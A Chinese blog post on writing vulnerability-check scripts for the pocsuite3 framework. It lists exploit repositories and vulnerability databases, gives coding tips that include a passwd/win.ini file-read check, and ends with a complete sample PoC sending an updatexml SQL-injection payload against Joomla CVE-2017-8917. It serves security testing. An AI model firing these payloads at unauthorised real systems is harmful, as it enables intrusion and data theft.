0x01. 背景

在编写pocsuite时候,会查阅大量的文件,poc利用方式。

1. pocsuite是什么

Pocsuite 是由知道创宇404实验室打造的一款开源的远程漏洞测试框架。它是知道创宇安全研究团队发展的基石,是团队发展至今一直维护的一个项目,保障了我们的 Web 安全研究能力的领先。你可以直接使用 Pocsuite 进行漏洞的验证与利用;你也可以基于 Pocsuite 进行 PoC/Exp 的开发,因为它也是一个 PoC 开发框架;同时,你还可以在你的漏洞测试工具里直接集成 Pocsuite,它也提供标准的调用类。

感觉:有很多大公司,都是基于这个模板的壳来改的,这个算是安全圈内,漏洞扫描框架数一数二的存在。

0x02. pocsuite官方文档

官方地址:http://pocsuite.org/

项目地址:https://github.com/knownsec/pocsuite3/

编写手册:

0x03. 几个比较好的poc编写项目

1. exphub

https://github.com/zhzyker/exphub



Exphub[漏洞利用脚本库]

目前包括Webloigc、Struts2、Tomcat、Drupal的漏洞利用脚本,均为亲测可用的脚本文件,尽力补全所有脚本文件的使用说明文档,优先更新高危且易利用的漏洞利用脚本。

2. PeiQi-WIKI-POC

https://github.com/PeiQi0/PeiQi-WIKI-POC

PeiQI 师傅收集的poc,在安全圈内也很出名。

3. vulnerabilities

https://github.com/projectdiscovery/nuclei-templates/tree/master/vulnerabilities

博主编写了更为通用的yaml文件,将漏洞利用进行汇总。

4. 数字观星

https://poc.shuziguanxing.com/#/issueList

数字观星本来不公开poc,但是买poc,也列进来吧。

0x04.几个漏洞库

1. CNVD

https://www.cnvd.org.cn/flaw/list.htm?flag=true



2. 阿里云漏洞库

https://avd.aliyun.com/nonvd/list

3. 狼组知识库

https://wiki.wgpsec.org/knowledge/

虽然不是最新漏洞库更新集合,但也是一个很不错的知识库。

4. 奇安信NOX

https://nox.qianxin.com/vulnerability

也会更新漏洞,信息还算及时吧

5. paper

https://paper.seebug.org/

一个精华的网站,值得学习

0x04. poc编写注意事项

1.尽量使用官方库

from pocsuite3.api import requests
from pocsuite3.api import Output, POCBase,logger
from pocsuite3.api import register_poc
from pocsuite3.lib.utils import random_str

2.requests忽略https请求

verify=False
例如:
res = requests.get(vulurl, verify=False)

3.做异常抛出

try:
do something
except (KeyError,IndexError):
pass
except Exception as e:
# print(e)
logger.error(f"connect target '{self.url} failed!'")

4.响应不能太简单

不应单纯使用响应状态码作为判断条件,可添加页面关键字作为第二个判断条件

错误:if resp.status_code == 200:

正确:if resp.status_code == 200 and ‘xxxxxxxx’ in resp.text:

5.分辨Windows和linux

req = requests.get(url=vulurl,headers=headers, timeout=self.timeout, verify=False)
if r"root:x:0:0:root" in req.text and r"/root:/bin/bash" in req.text and r"/usr/sbin/nologin" in req.text:
if r"daemon:" in req.text and req.status_code == 200:
result['VerifyInfo'] = {}
result['VerifyInfo']['url'] = target
break
else:
payload = 'file:///C:windows/win.ini'
req = requests.get(url=vulurl, headers=headers, timeout=self.timeout, verify=False)
if r"app support" in req.text and r"[fonts]" in req.text and r"[mci extensions]" in req.text:
if r"files" in req.text and req.status_code == 200:
result['VerifyInfo'] = {}
result['VerifyInfo']['url'] = target
break

0x05. 示例poc

#!/usr/bin/env python3.8

from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from urllib.parse import urlparse
from pocsuite3.lib.utils import random_str
import random
import hashlib class DemoPOC(POCBase):
vulID = 'CVE-2017-8917'
version = 'Joomla 3.7.0'
author = ['姓名']
vulDate = '2017-5-17'#漏洞公布时间,可参考nvd漏洞发布时间
createDate = '2021-8-1'#poc创建时间
updateDate = '2021-8-1'#poc修改时间
references = ['https://nvd.nist.gov/vuln/detail/CVE-2017-8917']
name = 'Joomla! SQL注入漏洞'
appPowerLink = 'https://www.joomla.org/'
appName = 'Joomla'
appVersion = 'Joomla <3.7.1'
vulType = 'SQL注入漏洞'
desc = '''
Joomla! 3.7.1之前的3.7.x版本中存在SQL注入漏洞。远程攻击者可利用该漏洞执行任意SQL命令。
''' def _verify(self):
# 验证代码
result = {}
token = random.randint(1,10000)
upr = urlparse(self.url)
if upr.port:
ports = [upr.port]
else:
ports = [80,443,8080]
for port in ports:
target = '{}://{}:{}'.format(upr.scheme, upr.hostname, port)
if target:
try:
self.timeout = 5
payload = "/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5({})),1)".format(token)
geturl = target + payload
res = requests.get(geturl, timeout=self.timeout, verify=False)
flag = hashlib.new('md5', bytes(str(token).encode('utf-8'))).hexdigest()
if res.status_code == 500 and flag in res.text :
result['VerifyInfo'] = {}
result['VerifyInfo']['url'] = target
break
except Exception as e:
print(e)
return self.parse_output(result)
def _attack(self):
return self._verify() def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output register_poc(DemoPOC)

参考

1.pocsuite

2.pocsuite编写手册

3.360漏洞云

编写POC时候的几个参考项目的更多相关文章

  1. 让你如绅士般基于描述编写 Python 命令行工具的开源项目:docopt

    作者:HelloGitHub-Prodesire HelloGitHub 的<讲解开源项目>系列,项目地址:https://github.com/HelloGitHub-Team/Arti ...

  2. react 编写 基于ant.design 页面的参考笔记

    前言 因为我没有系统的学习 react,是边写边通过搜索引擎找相对的问题,看 ant.design的 中文文档 编写的一个单页面, 以下的笔记都是写 gksvideourlr 时记录的. 重新设定表单 ...

  3. Vue编写的页面部署到springboot网站项目中出现页面加载不全问题

    问题描述: 在用Vue脚手架 编写出一个页面之后, 部署到后台项目中, 因为做的是一个页面 按理来说 怎么都能够在服务器上运行 , 我也在自己的node环境测试 , 在同学的springboot上运行 ...

  4. android 学习mvc 和 mvp 和 mvvm参考项目

    githup地址:https://github.com/ivacf/archi 阿尔奇 此存储库展示并比较可用于构建Android应用程序的不同架构模式.完全相同的示例应用程序使用以下方法构建三次: ...

  5. 让你如“老”绅士般编写 Python 命令行工具的开源项目:docopt

    作者:HelloGitHub-Prodesire HelloGitHub 的<讲解开源项目>系列,项目地址:https://github.com/HelloGitHub-Team/Arti ...

  6. react参考项目001

    https://github.com/chen2009277025/webpack-ant-design-demo https://github.com/cobish/cobish.github.io ...

  7. ballerina 学习二十七 项目k8s部署&& 运行

    ballerina k8s 部署和docker 都是同样的简单,编写service 添加注解就可以了 参考项目 https://ballerina.io/learn/by-guide/restful- ...

  8. 使用Spec Markdown 编写手册文档

    Spec Markdown 是一个基于markdown 的文档编写工具,安装简单,可以让我们编写出专业的文档 参考项目 https://github.com/rongfengliang/spec-md ...

  9. eclipse项目从编程到打jar包到编写BashShell执行

    eclipse项目从编程到打jar包到编写BashShell执行 一.创建Java项目,并编写项目(带额外jar包) 二.打jar包 三.编写BashShell执行 其中一以及二可以参考我的博客 Ec ...

随机推荐

  1. go案例:客户管理系统流程 mvc模式 分层设计

    下面是一个简要的客服系统,主要是演示分层计.. model : 数据部份: package model import "fmt" //声明一个结构体,表示一个客户信息 type C ...

  2. JAVA修饰符优先级先后顺序规范

    在实际的开发中,会遇到定义静态常量时,有的人使用的修饰符顺序不一致,例如 ... static final ... 或者 ... final static ... 于是找到了下规范,分享下 优先级 修 ...

  3. 进程代数CSP基础知识总结(Communicating sequencing process)

    进程代数(Process Algebra) Process Algebra 理论 提出者 理论名称 缩写 论文链接 简介 C. A. R. Hoare/Tony Hoare Communicating ...

  4. Linux系列(38) - 源码包安装(2)

    安装前准备 安装C语言编译器"gcc" yum -y install gcc --c 源码包语言编译器 下载源码包 安装注意事项 源代码保存位置:/usr/local/src/ 软 ...

  5. csv或excel的utf-8乱码问题

    方法1.数据导入 打开 Excel,执行"数据"->"自文本",选择 CSV 文件,出现文本导入向导,选择"分隔符号",下一步,勾选& ...

  6. PHP 7.4 checking for libzip 和 failed to open error_log 问题

    来源: https://hqidi.com/154.html 两个深坑,成年阿根廷龙踩出来的坑,网上都没找到解决方法,都是自己摸索出来的. 前面一切顺利: yum install -y libxml2 ...

  7. 《如何进行接口mock测试》

    前言: Mock通常是指:在测试一个对象时,我们构造一些假的对象来模拟与其交互.而这些Mock对象的行为是我们事先设定且符合预期.通过这些Mock对象来测试对象在正常逻辑,异常逻辑或压力情况下工作是否 ...

  8. python学习笔记(六)-集合

    集合是一个无序不重复元素的集.基本功能包括关系测试和消除重复元素.集合对象还支持union(联合),intersection(交),difference(差)和sysmmetric differenc ...

  9. 在自己的项目中使用PCL

    在自己的项目中使用PCL项目设置:1.创建cpp文件,如pcd_write.cpp,文件内容如下例: #include <iostream>#include <pcl/io/pcd_ ...

  10. P5056-[模板]插头dp

    正题 题目链接:https://www.luogu.com.cn/problem/P5056 题目大意 \(n*m\)的网格,求有多少条回路可以铺满整个棋盘. 解题思路 插头\(dp\)的,写法是按照 ...